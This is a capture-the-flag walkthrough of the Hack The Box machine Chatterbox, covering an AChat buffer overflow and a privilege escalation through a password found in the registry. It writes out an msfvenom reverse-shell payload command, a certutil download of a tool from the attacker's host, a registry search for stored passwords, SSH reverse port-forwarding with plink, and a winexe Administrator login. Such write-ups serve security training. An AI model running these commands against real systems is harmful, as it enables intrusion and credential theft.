✅Hack The Box - Chatterbox (Medium)

Summary

Nmap finds AChat on port 9256. The initial foothhold is trivial: we use AChat Remote Buffer Overflow to get a user shell as alfred.

In the privilege escalation phase, we find a credential in registry. Using this credential, we can construct port forwarding and use winexe to spawn a SYSTEM shell.

HTB now filters all outbound connections going through port 22, so we have to map SSH to some other port.

IP

• RHOST: 10.129.29.216

• LHOST: 10.10.14.79

Nmap

Port 9255 and 9256 are open. The service running on port 9256 is AChat.

User Shell: AChat Remote Buffer Overflow

Searchsploit:

searchsploit

The exploit uses shellcode and we have to generate our own shellcode. Generate shellcode using Msfvenom:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.14.79 LPORT=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Update the exploit, start a Netcat listener on port 443 and run the exploit:

User shell

Now we have a user shell as chatterbox\alfred.

Privilege Escalation: Port Forwarding with plink.exe

The victim machine runs 32-bit Windows 7:

systeminfo

Search for passwords in registry:

reg query HKLM /f password /t REG_SZ /s

We find Welcome1!:

Welcome1!

Query this registry:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Here we learn that the username is Alfred:

Alfred

Note that SMB is running on internal ports 139 and 445:

SMB

Although we can't access these ports publicly, it is possible to gain this access using port forwarding.

On our attack machine, edit /etc/ssh/sshd_config:

/etc/ssh/sshd_config

Restart SSH service:

service ssh restart

Download 32-bit plink.exe:

wget https://the.earth.li/~sgtatham/putty/latest/w32/plink.exe

Transfer it to the victim machine:

certutil -urlcache -f http://10.10.14.79/plink.exe plink.exe

Port forwarding:

plink.exe -l root -pw <your_kali_password> -R 445:127.0.0.1:445 <local_ip>

However, we are getting a "connection timed out" error:

Connection timed out

Recall that port forwarding is a SSH feature. This is because now HTB firewall rule filters any outbound connections on port 22. This was anonced in the HTB discord server:

HTB discord anoncement

Here we can edit /etc/ssh/sshd_config and map SSH to some other port, for example, port 2222:

/etc/ssh/sshd_config revisited

Restart the SSH service again:

service ssh restart

Do port forward again, but this time we set the port to 2222:

plink.exe -l root -pw <password> -R 445:127.0.0.1:445 10.10.14.79 -P 2222

Press "Enter" a few times until you see the output. Spawn a root shell using winexe:

winexe -U Administrator%Welcome1! //127.0.0.1 "cmd.exe"

Again, press "Enter" a few times until you see the output. Now we get a SYSTEM shell:

SYSTEM shell